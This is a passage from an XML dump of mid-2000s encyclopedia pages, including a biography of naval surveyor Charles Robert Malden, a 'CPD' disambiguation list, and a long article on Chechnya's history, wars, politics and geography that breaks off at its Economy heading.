*[http://spp.pinyin.info/abstracts/spp111_bc_ad.html Victor Mair: The need for a new era]
*[http://sunearth.gsfc.nasa.gov/eclipse/SEhelp/dates.html NASA: Year dating conventions]
*[http://washingtontimes.com/national/20050425-122707-1314r.htm Associated Press: P.C. scholars take Christ out of B.C.]
*[http://www.bartleby.com/68/20/120.html The Columbia Guide to Standard American English (1993): A.D., B.C., (A.)C.E., B.C.E.]

[[Category:Calendars]]

[[de:V. u. Z.]]
[[el:Κοινή Χρονολογία (Χρονολόγηση)]]
[[es:AdC]]
[[fr:Common Era]]</text>
    </revision>
  </page>
  <page>
    <title>Creationist</title>
    <id>6089</id>
    <revision>
      <id>15904251</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Creationism]]
</text>
    </revision>
  </page>
  <page>
    <title>Charles Robert Malden</title>
    <id>6091</id>
    <revision>
      <id>40564985</id>
      <timestamp>2006-02-21T13:41:51Z</timestamp>
      <contributor>
        <username>Bastin8</username>
        <id>154626</id>
      </contributor>
      <minor />
      <comment>United Kingdom</comment>
      <text xml:space="preserve">'''Charles Robert Malden''' ([[August 9]], [[1797]] &amp;ndash; [[May 23]], [[1855]]), was a [[19th century]] [[United Kingdom|British]] [[Royal Navy|naval]] officer, surveyor and educator. Discoverer of [[Malden Island]] in the central [[Pacific]], which is named in his honour. Founder of the [[Windlesham House School]] at [[Brighton]], [[England]].

Malden was born in [[Putney]], [[Surrey]], son of Jonas Malden, a surgeon. He entered British naval service at the age of 11 on [[22 June]] [[1809]]. He served nine years as a volunteer 1st class, [[midshipman]], and [[mate]], including one year in the [[English Channel]] and [[Bay of Biscay]] ([[1809]]), four years at the [[Cape of Good Hope]] and in the [[East Indies]] (1809-14), two and a half years on the North American and West Indian stations ([[1814]]-16), and a year and a half in the [[Mediterranean]] (1817-18). He was present at the capture of [[Mauritius]] and [[Java (island)|Java]], and at the battles of [[Battle of Baltimore|Baltimore]] and [[Battle of New Orleans|New Orleans]]. 

He passed the examination in the elements of [[mathematics]] and the theory of [[navigation]] at the [[Royal Naval College]] on 2-[[4 September]] [[1816]], and became a 1st Lieutenant on [[1 September]] [[1818]]. In eight years of active service as an officer, he served two and a half years in a surveying ship in the Mediterranean (1818-21), one and a half years in a surveying sloop in the English Channel and off the coast of [[Ireland]] (1823-24), and one and a half years as Surveyor of the frigate ''Blonde'' during a voyage (1824-26) to and from the [[Sandwich Islands]] ([[Hawaii]]). In Hawaii he discovered and surveyed harbours which, he noted, were &quot;said not to exist by Captains Cook and Vancouver.&quot; On the return voyage he discovered and explored uninhabited Malden Island in the central Pacific on [[30 July]] [[1825]]. After his return he left active service but remained at half pay. He served for several years as [[hydrographer]] to [[William IV of the United Kingdom|King William IV]].

Malden married Frances Cole, daughter of Rev. William Hodgson Cole, rector of [[West Clandon]] and Vicar of [[Wonersh]], near [[Guildford]], [[Surrey]], on [[8 April]] [[1828]]. He became the father of seven sons and a daughter.

From [[1830]]-36 he took pupils for the Royal Navy at [[Ryde]], [[Isle of Wight]]. He purchased the school of [[Henry Worsley]] at [[Newport, Isle of Wight|Newport]], Isle of Wight, in December [[1836]], reopened it as a [[preparatory school]] on [[20 February]] [[1837]], and removed it to Montpelier Road in Brighton in December [[1837]]. He built the Windlesham House School at Brighton in [[1844]], and conducted the school until his death there in [[1855]].

[[Category:1797 births|Malden, Charles Robert]]
[[Category:1855 deaths|Malden, Charles Robert]]
[[Category:Royal Navy officers|Malden, Charles Robert]]
[[Category:Natives of Surrey|Malden, Charles Robert]]</text>
    </revision>
  </page>
  <page>
    <title>CPD</title>
    <id>6094</id>
    <revision>
      <id>42137154</id>
      <timestamp>2006-03-04T01:44:21Z</timestamp>
      <contributor>
        <username>Crotalus horridus</username>
        <id>273594</id>
      </contributor>
      <comment>Added [[Committee on the Present Danger]]</comment>
      <text xml:space="preserve">'''CPD''' can refer to any of the following:


* [[Cable Price Downer]]
* [[Capacitance power dissipation]]
* [[Congress of People's Deputies]] AKA [[Congress of Soviets]]
* [[Centre for Professional Development]]
* [[Cephalo-pelvic disproportion]]
* [[Chicago Police Department]]
* [[Chronic pulmonary disease]]
* [[Chrysler-Plymouth-Dodge]]
* [[Collaborative Product Development]]
* [[Collection processing dissemination]]
* [[Commission on Presidential Debates]]
* [[Committee on the Present Danger]]
* [[Common picture display]]
* [[Contact potential difference]]
* [[Continuing Professional Development]]
* [[Cost per Day]]
* [[Cram, Pass and Dump]]
* [[Cycles Per Degree]]

{{TLAdisambig}}</text>
    </revision>
  </page>
  <page>
    <title>Chechnya</title>
    <id>6095</id>
    <revision>
      <id>41841253</id>
      <timestamp>2006-03-02T02:17:40Z</timestamp>
      <contributor>
        <username>Usedbook</username>
        <id>9183</id>
      </contributor>
      <comment>/* Geography */ link: northern border with Stavropol Krai</comment>
      <text xml:space="preserve">{{unreferenced}}
{{Federal subject of Russia|
EnNm=Chechen Republic|
RuNm=Чеченская республика|
OfNm1=Нохчийн Республика&lt;br&gt;|
OfNm2=&amp;nbsp;|
OfNm3=&amp;nbsp;|
FSFlag=[[Image:Flag of Chechnya.svg|140px|Flag of Chechen Republic]]|
FSCoA=[[Image:Chechnya coa.png|110px|Coat of arms of Chechen Republic]]|
FlagLnk=Flag of Chechnya|
CoALnk=Coat of arms of Chechnya|
FSMap=[[Image:RussiaChechnya2005.png]]|
FSCtrWhat=Capital|
FSCtrNm=[[Grozny]]|
AreaRnk=78th|
TotArea=15,500|
WaterPrcnt=negligible|
PopRnk=49th|
PopQty=1,103,686|
PopCtDate=[[2002]]|
PopDens=71.2|
PolStatLnk=Republics of Russia|
PolStatNm=Republic|
FedDistrNm=[[Southern Federal District]]|
EcRegNm=North Caucasus|
CadNo=20|
LangLangs=s|
OfLangs=[[Russian language|Russian]], [[Chechen language|Chechen]]|
HeadTtl=President|
HeadNm=[[Ali Alkhanov|Ali Dadashevich Alkhanov]]|
ViceTtl=Chairman of the Government|
ViceNm=[[Ramzan Kadyrov|Ramzan Akhmadovich Kadyrov]]|
LegiNm=[[Parliament of Chechnya]]|
FSAnthem=[[Anthem of the Chechen Republic]]}}

The '''Chechen Republic''' ({{lang-ru|Чече́нская Респу́блика}}; [[Chechen language|Chechen]]: Нохчийн Республика/Noxçiyn [Nokhchiyn] Respublika), or, informally, '''Chechnya''' (Russian: Чечня́; Chechen: Нохчичьо/Noxçiyçö/Nokhchiycho), sometimes referred to as '''[[Ichkeria]]''', '''Chechnia''', or '''Chechenia''', is a [[Federal subjects of Russia|federal subject]] of [[Russia]] (a [[republic]]). Bordering [[Stavropol Krai]] to the northwest, the republic of [[Dagestan]] to the northeast and east, [[Georgia (country)|Georgia]] to the south, and the republics of [[Ingushetia]] and [[North Ossetia]] to the west, it is located in the [[Northern Caucasus]] mountains, in the [[Southern Federal District]].

During the [[collapse of the Soviet Union]] in [[1991]], the government of the republic declared independence as the '''[[Chechen Republic of Ichkeria]]'''. [[As of 2005]], their independence has not been recognized by any state. On [[September 6]] [[1991]], militants of [[National Congress of Chechen People]] (NCChP), headed by [[Dzhokhar Dudayev]], stormed a session of the [[Chechen-Ingush Autonomous Soviet Socialist Republic|Chechen-Ingush ASSR]] parliament, killing the chief of the PCUS of Grozny, [[Vitali Kutsenko]], severely injuring several other parliamentaries, and effectively dissolving the government of the Chechen-Ingush ASSR.

This situation, as well as the economic importance of Chechnya due to several oil and gas pipelines on its territory{{fact}}, and the fact that constitutionally Chechnya, unlike Soviet Socialist Republics, did not have the right to secede{{fact}}, has led to armed conflicts between the forces of the self-declared government and the Russian Federal army.

Chechen officials claim that between 1994 and 2004 over 200,000 people were killed in Chechnya, including more than 20,000 children,[http://www.mosnews.com/news/2004/11/19/civiliandeath.shtml] and further that ethnic Chechens comprise only one quarter of this number [http://www.rferl.org/featuresarticle/2005/08/b23f8d99-f15d-4b40-882c-975598c29ae3.html]. They do not account for the remainder of those killed. 

Insurgent sources claim that federal forces have killed more than 250,000 people in Chechnya, including 42,000 children [http://www.chechnya-mfa.info/print_news.php?func=detail&amp;par=123]. Independent sources put the number of civilians killed at 180,000 [http://www.peaceinchechnya.org/background/bg_chechkosovo.pdf].

According to official population census number of Chechens in Russia in 2002 is 1,360,253 persons (in 1989 - 898,999 persons) (source :[http://www.perepis2002.ru/ct/html/TOM_14_24.htm results of census from Federal Service of the state statistics of Russia])
 
The official death toll for federal troops is more than 10,000{{fact}}, although insurgent sources claim the real figure is closer to 40,000{{fact}}. The Committee of Soldiers Mothers, the human rights NGO puts the death toll at 14,000 and 11,000 in the first and second Chechen wars, respectively [http://www.cdi.org/russia/245-14.cfm].

==History==
{{main|History of Chechnya}}

[[Image:Chechenya gorge.jpg|thumb|250px|A mountain view in Chechnya, from a photograph taken ca. 1912.]]

===Early history===
Chechnya is a region in the Northern [[Caucasus]] which has constantly fought against foreign rule, beginning with the [[Ottoman Turks]] in the 15th century.  Eventually the Chechens converted to [[Islam]] and tensions began to die down with the Turks; however, conflicts with their Christian neighbours such as [[Georgian people|Georgians]] and [[Cossacks]], as well as with the Buddhist [[Kalmyk people|Kalmyks]] intensified. The Russian [[Terek Cossack Host]] was established in lowland Chechnya in [[1577]] by free Cossacks resettled from Volga to Terek River. In [[1783]], Russia and the eastern Georgian kingdom of [[Kartl-Kakheti]] (which was devastated by Turkish and Persian invasions) signed the Treaty of Georgievsk, according to which Kartl-Kakheti received protection by Russia. In order to secure communications with Georgia and other regions of the Transcaucasia, the Russian Empire began spreading her influence into the Caucasus mountains. The current resistance to Russian rule began during the late [[18th century]] ([[1785]]-[[1791]]) as a result of Russian expansion into territories formerly under the dominion of [[Turkey]] and [[Persia]] (see also the [[Russo-Turkish Wars]] and [[Russo-Persian War, 1804-13]]), under [[Mansur Ushurma]] -- a Chechen [[Naqshbandi]] ([[Sufi]]) Sheikh -- with wavering support from other North Caucasusian tribes (it was not uncommon for tribal khans to change sides in the conflict several times in the same year). Mansur hoped to establish a [[Transcaucasus]] Islamic state under [[shari'a]] law, but was ultimately unable to do so because of both Russian resistance and opposition from many Chechens (many of whom had not been converted to Islam at the time). Its banner was again picked up by the [[Avar]] [[Imam Shamil]], who fought against the Russians from [[1834]] until [[1859]].

===Soviet rule===
Chechen Rebellion would characteristically flame up whenever the Russian state faced a period of internal uncertainty. Rebellions occurred during the Russo-Turkish War (''See'' [[Russo-Turkish War, 1877–1878]]), the [[Russian Revolution of 1905]], the [[Russian Revolution of 1917]], [[Russian Civil War]], and [[Collectivization]]. Under Soviet Rule, Chechnya was combined with [[Ingushetia]] to form the autonomous republic of [[Chechen-Ingushetia]] in the late [[1930s]]. The Chechens, though, again rose up against Soviet rule during the [[1940s]], resulting in the deportation of the Chechen population to the [[Kazakh SSR]] (later [[Kazakhstan]]) and [[Siberia]] during [[World War II]]. [[Stalin]] and others argued this was necessary in order to stop the Chechens from providing assistance to the Germans during the Second World War. Although the German front never made it to the border of Chechnya, an active [[guerrilla warfare|guerrilla]] movement threatened to undermine the Soviet defenses of the [[Caucasus]] (noted writer [[Valentin Pikul']] claims in his historical account [[Barbarossa]] that while the city of [[Grozny]] was being prepared for a siege in 1942, all of the air bombers stationed on the Caucasian front had to be directed at quelling the Chechen insurrection instead of fighting the German [[Battle of Stalingrad|siege of Stalingrad]]). As well, incidents of covert German airdrops into Chechnya and interceptions of radio exchanges between German and Chechen rebels were frequent. The Chechens were allowed to return to their homeland after [[1956]] during the [[de-Stalinization]] which occurred under [[Nikita Khrushchev]]. 

The Russification policies towards Chechens continued after 1956, with Russian language proficiency required in many aspects of life and for advancement in the Soviet system. Many ethnic Chechens managed to achieve top positions in the government and military of the USSR (notable among them are [[Ruslan Khasbulatov]] (speaker of Soviet [[Supreme Soviet]]), [[Dzhokhar Dudayev]] (Soviet general), [[Doku Zavgaev]] (chairman of Chechen-Ingush ASSR), and [[Aslambek Aslakhanov]] (Soviet/Russian lawmaker)). The Chechens remained peaceful and relatively loyal to the state until the introduction of [[Glasnost]] under [[Mikhail Gorbachev]] in the late 1980s.

With the impending collapse of the Soviet Union, an [[independence]] movement, initially known as the Chechen National Congress, formed in 1990. This movement was ultimately opposed by [[Boris Yeltsin]]'s [[Russian Federation]], which argued: (1) Chechnya had not been an independent entity within the Soviet Union &amp;ndash; as the Baltic, Central Asian, and other Caucasian States had &amp;ndash; but was a part of the [[Russian Soviet Federal Socialist Republic]] and hence did not have a right under the Soviet constitution to secede; (2) Other ethnic groups inside Russia, such as the Tatars, would join the Chechens and secede from the Russian Federation if they were granted that right; and (3) Chechnya was at a major chokepoint in the oil-infrastructure of the country and hence would hurt the country's economy and control of oil resources.

===First Chechen War===
{{main|First Chechen War}}
[[Image:Evstafiev-chechnya-palace-gunman.jpg|thumb|A Chechen insurgent near the Presidential Palace in Grozny, January 1995. Photo by Mikhail Evstafiev]]
[[Image:Evstafiev-chechnya-iternal-praying.jpg|thumb|Chechens Warm in Grozny just days before Russian troops entered the city. Photo by Mikhail Evstafiev]]
[[Image:Evstafiev-chechnya-handshake.jpg|thumb|Chechen insurgents in downtown Grozny, 1995. Photo by Mikhail Evstafiev]]
[[Image:Evstafiev-helicopter-shot-down.jpg|thumb|The first casualties - a Russian helicopter downed by Chechen fighters near the capital Grozny, December 1994. Photo by Mikhail Evstafiev]]
[[Dzhokhar Dudayev]], the Republic of Chechnya's nationalist president, declared Chechnya's independence from Russia in [[1991]]. Dudayev's cabinet was largely filled with relatives and members of his [[teip]], many of whom were alleged to have been involved in criminal activities, and a few of whom had previous criminal convictions. This, combined with a failure to maintain control over the republic, saw his rule descend into chaos and wide-spread corruption. From 1991 to 1994, as many as 300,000 people of non-Chechen ethnicity (mostly Russians) fled the republic, and an unknown number (some estimate as high as 50,000) were murdered or disappeared ([http://www.izvestia.ru/russia/article1092129]). At this time, the slave trade also re-emerged in Chechnya (the earliest known person taken as a Chechen slave, Vladimir Yepishin, was kidnapped in 1989 and released in 2002, and claims to have come in contact with other slaves kidnapped by Chechens in the mid-80s [http://news.bbc.co.uk/1/hi/world/europe/1875162.stm]). [http://www.anycities.com/user/conrad/english/genocide/genocide_2.htm][http://www.anycities.com/user/conrad/english/genocide/genocide_1.htm]. 

Chechen sources claim [http://www.alter.most.org.pl/fa/chechen.html] non-Chechens were victims of common criminals and were not singled out. Russian sources, however argue that xenophobic rhetoric of Dudayev and other Chechen nationalists played some part in the events of those years. 

On May 26 and on July 29, 1994, Chechen terrorists took hostages (including schoolchildren) in Russian city Mineralny Vody. 4 persons died.

In December 1994 [[President of Russia|Russian President]] [[Boris Yeltsin]] ordered 40,000 troops retake Chechnya (''see'' [[First Chechen War]]), after having been told by close advisors that it would be a popular, short, and victorious war{{fact}}. Yeltsin hoped to use the victory to overtake political opponents and win in the 1996 presidential elections{{fact}}, which was extremely uncertain as opponents within the former Communist Party and nationalists under [[Vladimir Zhirinovsky]] had gained a large amount of popular support while Yeltsin's approval ratings hovered in the single digits.

The Russian army entered Chechnya on [[December 10]], [[1994]], with only a few weeks of preparations and almost no prior planning or reconnaissance, with the official mission of restoring constitutional order. Unprepared for and not expecting intense fighting, Russian forces suffered humiliating losses after entering Grozny, which unbeknownst to ground troops had been fortified and filled with the Chechen army and a large number of volunteers in preparation for the invasion (it should be noted that despite knowing they would be fighting for control of Grozny, Dudayev's government did not issue an evacuation notice for the city, something which was responsible for the majority of civilian casualties during the battle for Grozny). Russian troops had not secured the Chechen capital of [[Grozny]] by year's end, managing to gain control of the city in February [[1995]] after heavy fighting. A few months later, the majority of active Chechen resistance was pushed back into the mountains around Ichkeria. In response, Chechen fighters launched two attacks on Russian soil. The most high-profile of these, led by Chechen field commander and later first vice-premier of Ichkeria, [[Shamil Basayev]], was the [[Budyonnovsk hospital hostage crisis]] in June 1995. Shamil's large group seized the hospital and the 1,600 people inside for a period of several days. In total, 129 people died and 415 were wounded. Most victims died in a cross-fire. Although he failed in his demands to stop the war, Basayev and his fighters were able to successfully retreat back to Chechnya under cover of hostages. The media coverage surrounding the hostage-taking and Basayev's safe retreat propelled the then mostly unknown Basayev into Chechnya's most famed national hero overnight. Seeking to emulate Basayev's success, [[Dzhokhar Dudayev]]'s son-in-law, [[Salman Raduev]], led a similar raid on the hospital of [[Kizlyar]] in January 1996. 78 hostages and policemen, and most of Raduyev's 300-strong group, died in the hostage crisis. 

Yeltsin's government, weary of negative media coverage of the conflict and wanting a quick end to the fighting, halted the Russian advance and began a long series of fruitless peace talks with the separatists. Most of the Russian army was withdrawn, with the biggest contingent being a 3000-strong force left to secure Grozny. The error in this judgement became immediately apparent as the remaining Russian troops came under small but regular guerrilla-style attacks despite the many cease-fires under effect during negotiations. During a break in the negotiation process in April of 1996, Dudayev was killed in an air raid. The peace process impacted Russian intelligence gathering as well, demonstrated most dramatically when thousands of Chechen irregulars from all over the country poured into Grozny in early August 1996 to retake the city in a plan hatched by [[Shamil Basayev]], catching the Russian forces completely unprepared. With 3000 servicemen besieged in Grozny with no possibility of timely relief, Yeltsin was forced into negotiations on the Chechen leaders' terms. The hostilities effectively ended with the signing of the Khasavyurt accords by Gen. [[Aleksandr Lebed]] on August 31, 1996. The formal peace treaty was signed by Presidents Yeltsin and Maskhadov in the Kremlin on May 12, 1997 [http://www.cnn.com/WORLD/9705/12/chechnya/] These accords declared that Chechnya's national status would be decided by the end of [[2001]], but gave the [[Ichkeria|Republic of Ichkeria]] de-facto independence in the meantime [http://www.kafkas.org.tr/hakkinda/endless_genocide_It_is_a_Matter_of_Life_and_Death1-Chechnya.html].

===Second Chechen War===
{{main|Second Chechen War}}

Despite the peace agreement the situation remained unstable. 

On November 16, [[1996]] an apartment house in [[Kaspiysk]] (Dagestan) was blown up.  Sixty-nine persons, mainly members of frontier guards' families, died. Moscow authorities blamed Chechen fighters for this action and other actions listed below. Chechen president Aslan Maskhadov did not support any of these actions.

On April 23, [[1997]] a bomb was detonated in the Russian railway station of [[Armavir]].  Three persons died. 

On May 28, [[1997]], there was an explosion in the Russian railway station of  [[Pyatigorsk]], killing two persons. 

In December, [[1997]] the Chechen warlord (''emir'') Hattab attacked the Russian garrison of [[Buynaksk]] (Dagestan). The President of the Chechen Republic of Ichkeria Aslan Maskhadov condemned this action, but had taken no action to prevent the incursion; Russian authorities blamed Chechen govenment for all the hostilities taking part at that time.

On March 19, [[1999]], an explosion in the Central market of [[Vladikavkaz]] (Ossetia), killed 64 persons. 
         
The incursion by Chechen armed groups into [[Dagestan]] and [[Russian Apartment Bombings|apartment bombings]] on September [[1999]] (attributed by Russian propaganda to Chechens) were used to justify the second invasion of the Russian army into Chechnya. Bombs determined to be [[hexogen]] based were set off at apartment blocks at [[Buynaksk]] in Dagestan (on September 4, killing 62 people, mostly members of families of frontier guards), [[Moscow]], and [[Volgodonsk]] (on September 16, killing 18) in Southern Russia. The Russian government immediately blamed Chechen terrorists, but failed to provide any substantial evidence to support its claims. Later two Islamists allegedly participating in these acts, have been convicted of terrorism in a closed trial in Moscow [http://eng.terror99.ru/publications/138.htm]. It has since been alleged by oligarch Boris Berezovsky that [[FSB]] agents, rather than Chechen separatists, were behind the Moscow attacks. In support of his theory, Berezovsky cited an incident in Ryazan, where undercover FSB agents were caught by the local police on September 23, 1999 while planting explosives in the basement of an apartment house [http://www.cnn.com/WORLD/europe/9909/24/russia.bomb.01/]. The events in Ryazan, and the subsequent arrest of the whistleblower lawyer [[Mikhail Trepashkin]] indicate that FSB participation cannot be ruled out [http://eng.terror99.ru/publications/index.htm#berezovsky]. 

Today, Chechen separatists still claim an independent Chechnya. Official authorities of the Chechen Republic of Ichkeria such as late President Aslan Maskhadov, Deputy Prime Minister and a Foreign Minister Akhmed Zakayev and current President Abdul Khalim Saidullayev condemned any actions against civilians. Maskhadov and Zakayev often made proposals of peace talks, however all these proposals were rejected by the Russian side. [http://www.bartstaes.be/tsjetsjenie.php?id=1226] 
However some Chechens decided to choose terrorist attacks in their fight against Russia. Such acts took place in the republic and within Russia itself. These acts were used by Russian President Putin to associate the conflict with the [[War on Terrorism]] after the [[September 11th, 2001 attacks|attacks of September 11th]][http://www.atimes.com/c-asia/CJ11Ag02.html] [http://cfrterrorism.org/groups/chechens_print.html]. Terrorist attacks have ranged from mass hostage-takings to rail, subway, and suicide bombings. In some cases a connection with the Chechen conflict was found; in others the circumstances were unclear. The most memorable occurred in [[Moscow]] in [[October 23]], [[2002]] where over 700 hostages were taken during the [[Moscow theater hostage crisis]] and in [[Beslan]] in [[September 2004]], during the [[Beslan school hostage crisis]] where 1,200 were taken hostage at a school and over 330 were killed &amp;ndash; half of whom were children{{fact}}. In the end, a decade of war has left most of Chechnya under the control of the Russian military. On 13 October 2005, buildings in [[Nalchik]] associated with the Russian security forces were attacked by a large group of armed men. The attackers are thought to be insurgents from nearby Chechnya{{fact}}. Fighting between the Russians and Chechen separatists continues, although in the form of guerrilla fighting. &lt;!--&quot;At the same time, upwards of 100,000 (Chechens and Russians) have been killed within Chechnya as a result of the second Chechen war{{fact}}.&quot; That figure is not confirmed by independent sources--&gt; The Russians and their Chechen allies have been accused of human rights abuses by international observers, such as the Russian group [[Memorial (society)|Memorial]] and the American organization [[Human Rights Watch]][http://www.hrw.org/campaigns/russia/chechnya/]. In this atmosphere, attempts to create a pro-Russian government have also been far from successful to date, as became apparent with the assassination of [[Akhmad Kadyrov]] in May 2004.

Many Chechen separatist groups have become increasingly radicalized and fractured, with [[Shamil Basayev]] adopting a strongly [[Islamist]] position and inviting support from [[Arab]] Islamist organizations, such as [[Al-Qaeda]]{{fact}}. This was opposed by [[Aslan Maskhadov]], who publicly desired a negotiated settlement to the conflict until his death on March 8 of 2005 when he was killed by Russian forces.[http://www.tjetjenien.dk/personer/maskhadov.html]. While the two may have stood together against what they saw as a Russian occupation, they appeared to differ greatly in both vision and ideology.

==Politics==
{{main|Politics of Chechnya}}

Chechnya is considered an independent [[republic]] by its separatists, and a [[federal republic]] by its federalists. Its regional constitution was entered into effect on [[April 2]], [[2003]] after an all-Chechen referendum was held on [[March 23]], [[2003]]. The referendum was held far from international standards. The officially given turnout seemed to be much bigger than the reality[http://www.ishr.org/publications/2003/chechnya.htm]. Some Chechens are or were controlled by regional [[teip]]s, despite the existence of pro- and anti-Russian political structures.

[[Image:Chechnya and Caucasus.png|thumb|right|Chechnya and Caucasus map]]

Since 1990, the Chechen Republic has had legal, military, and civil conflicts involving separatist movements and pro-Russian authorities.

The motivations of the Russian and Chechens in these conflicts are complicated. Principally, Russia's stake in Chechnya relates to the fear that if Chechnya becomes independent, even more territories will break away from Russia, leading to its disintegration. Another factor are economic interests: Chechnya possesses large oil reserves, and the Russians are concerned that prolonged instability may lead to third parties entering the region in order to seek to control the oil, causing further instability and war{{fact}}. There is also a long standing conflict between Russia and Chechnya that has perpetuated itself due to [[bad blood]] on both sides{{fact}}.

There are different groups, within Chechnya, fighting the Russians who have different political, economic and/or ideological motivations for doing so.  Some of these derive from hatred and a desire for the revenge of past Russian military and political action in the region. Most notably the forced relocation, in the 1940s, of the entire population to Siberia, resulting in the estimated death of a quarter of the population.  The combination of motives demonstrates the cycle of violence and hatred that often fuels regional conflicts of this nature, as well as a military culture that makes much of the population willing to engage in military struggle under the command of one leader.  Unemployment and poverty are also factors in the prolonged conflict.  

The former separatist warlord, [[Akhmad Kadyrov]], looked upon as a traitor by many separatists, was elected president with 83% of the vote in an internationally monitored election on [[October 5]], [[2003]]. Incidents of ballot stuffing and voter intimidation by Russian soldiers and the exclusion of separatist parties from the polls were subsequently reported by the [[Organization for Security and Co-operation in Europe|OSCE]] monitors. [[Rudnik Dudayev]] is head of the Chechen Security Council and [[Anatoly Popov]] is the Prime Minister. On [[May 9]], [[2004]], Kadyrov was assassinated in [[Grozny]] football stadium by a [[land mine|landmine]] explosion that was planted beneath a VIP stage and detonated during a [[World War II]] memorial parade. [[Sergey Abramov]] was appointed to the position of acting prime minister after the incident. However following a car accident in Moscow in 2005 Sergey Abramov has been unable to function as prime minister. [[Ramzan Kadyrov]] (son of Akhmad Kadyrov) has been caretaker prime minister since the accident and on March 1 2006 Abramov resigned from his post as prime minister. Abramov told the [[Itar-Tass]] news agency: &quot;I resigned on the condition that Ramzan Kadyrov lead the Chechen government because I sincerely believe that this decision is right.&quot; 

Many believe that [[Ramzan Kadyrov]] would have attempted to succeed his father if he had not been barred from doing so by his age &amp;ndash; he is currently in his 20s and the constitution requires that the president be 30 years of age or older. Many also allege he is the wealthiest and most powerful man in the republic, with control over a large private militia referred to as the 'Kadyrovski'. The militia &amp;ndash; which began as his father's security force &amp;ndash; has been accused of killings and kidnappings by human rights organizations such as [[Human Rights Watch]].

On [[August 29]], [[2004]] a new Presidential election took place. According to the Chechen electoral commission, [[Alu Alkhanov]], former Chechen Minister of Interior, received approximately 74% of the vote. Voter turnout was 85.2%. Some observers, such as the [[U.S. Department of State]], [[International Helsinki Federation for Human Rights]], as well as the opposition, question the election, citing, in part, the disqualification of the major rival [[Malik Saidullayev]] on a technicality. Polling conditions were also questioned, but no formal complaints have been made. The election was internationally monitored by the [[Commonwealth of Independent States]] and [[Arab League]]; western monitors didn't participate in monitoring the election in protest at previous irregularities, despite being invited. 

In addition to the elected government, there is a self-proclaimed separatist government that is not currently recognized by any state (although members have been given political asylum in European and Arab countries, as well as the United States).  The separatist government was recognised by Georgia (when Georgian President was [[Zviad Gamsakhurdia]] and Chechen President was [[Dzhokhar Dudaev]]. In 1999 the [[Taliban]] government of Afghanistan recognized independent Chechnya and opened an embassy in Kabul on 16 January 2000.  Recognition ceased with the fall of the Taliban in 2001.  The president of this government was [[Aslan Maskhadov]], the Foreign Minister was [[Ilyas Akhmadov]], who was the spokeman for Maskhadov. Ilyas Akhmadov is currently living under asylum in the United States. [[Aslan Maskhadov]] had been elected in an internationally monitored election in [[1997]] for 4 years, when the separatists were a major political force. In [[2001]] he issued a decree prolonging his office for one additional year; he was unable to participate in the [[2003]] presidential election, since separatist parties were barred by the Russian government, and Maskhadov faced accusations of &quot;terrorist offences&quot; in Russia. Maskhadov left [[Grozny]] and moved to the separatist-controlled areas of the south at the onset of the [[Second Chechen War]]. President Maskhadov was unable to influence a number of warlords who retain effective control over Chechen territory, and his power was diminished as a result. He came to denounce the attack by insurgent forces on Beslan and attempted to distance himself from the Islamist [[Shamil Basayev]], who claimed responsibility for the attack. Russian forces claimed to have killed him on March 8, 2005. 

[[Akhmed Zakayev]], Deputy Prime Minister and a Foreign Minister under Maskhadov, was appointed shortly after the 1997 election and is currently living under asylum in [[England]]. He and others chose [[Abdul Khalim Saidullayev]] to replace Maskhadov following his death, bypassing Basayev. It has been reported, however, that Basayev turned the position down and has since pledged loyalty to Saidullayev. Saidullayev is a relatively unknown Islamic judge who was previously the host of an Islamic program on Chechen television. His position as a rebel is also unknown, leading the Russians and others to speculate that his selection marks the continued rise of Basayev &amp;ndash; with Saidullayev as a figurehead &amp;ndash; and the dearth of leadership figures that remain in the Chechen separatist movement.

==Administrative divisions==
===Districts===
[[Image:ChechenRepublic(RussianFederation)DivisionMap.png|thumb|right|Chechnya map]]
&lt;!--Map needs to be redone to accommodate alphabetized list of districts and towns--&gt;
'''Chechen Republic''' consists of the following [[raion]]s (districts):
#[[Naursky District, Chechen Republic|Naursky]] (Наурский)
#[[Shelkovsky District, Chechen Republic|Shelkovsky]] (Шелковский)
#[[Nadterechny District, Chechen Republic|Nadterechny]] (Надтеречный)
#[[Groznensky District, Chechen Republic|Groznensky]] (Грозненский)
#[[Gudermessky District, Chechen Republic|Gudermessky]] (Гудермесский)
#[[Sunzhensky District, Chechen Republic|Sunzhensky]] (Сунженский)
#[[Achkhoy-Martanovsky District, Chechen Republic|Achkhoy-Martanovsky]] (Ачхой-Мартановский)
#[[Urus-Martanovsky District, Chechen Republic|Urus-Martanovsky]] (Урус-Мартановский)
#[[Shalinsky District, Chechen Republic|Shalinsky]] (Шалинский)
#[[Kurchaloyevsky District, Chechen Republic|Kurchaloyevsky]] (Курчалоевский)
#[[Itum-Kalinsky District, Chechen Republic|Itum-Kalinsky]] (Итум-Калинский)
#[[Shatoysky District, Chechen Republic|Shatoysky]] (Шатойский)
#[[Vedensky District, Chechen Republic|Vedensky]] (Веденский)
#[[Nozhay-Yurtovsky District, Chechen Republic|Nozhay-Yurtovsky]] (Ножай-Юртовский)
#[[Sharoysky District, Chechen Republic|Sharoysky]] (Шаройский)

===Major settlements===
#[[Znamenskoye]]
#[[Naurskaya]]
#[[Achkhoy-Martan]]
#[[Urus-Martan]]
#[[Grozny]]
#[[Shali]]
#[[Gudermes]]
#[[Shelkovskaya]]
#[[Itum-Shale]]
#[[Shatoy]]
#[[Vedeno]]
#[[Nozhay-Yurt]]

==Geography==
Situated in the eastern part of the North Caucasus, Chechnya is surrounded on nearly all sides by Russian territory. In the west, it borders North Ossetia and Ingushetia, in the north, Stavropol Kray, in the east, Dagestan, and to the south, Georgia. Its capital is Grozny.

*Area: 19,300 km²
*Borders:
**Inside [[Russia]]:
***[[Dagestan]]
***[[Ingushetia]]
***[[North Ossetia-Alania]]
***[[Stavropol Krai]]
**Foreign:
***[[Georgia (country)|Georgia]]

'''Rivers:'''
*[[Terek River|Terek]]
*[[Sunzha River|Sunzha]]
*[[Argun River]]

===Time zone===
[[Image:RTZ2.png|left|75px]]

Chechnya is located in the [[Moscow Time|Moscow Time Zone]] (MSK/MSD).  [[Coordinated Universal Time|UTC]] offset is +0300&amp;nbsp;(MSK)/+0400&amp;nbsp;(MSD).
&lt;div style=&quot;clear:left&quot;&gt;&lt;/div&gt;

==Economy==
===As of 2003===
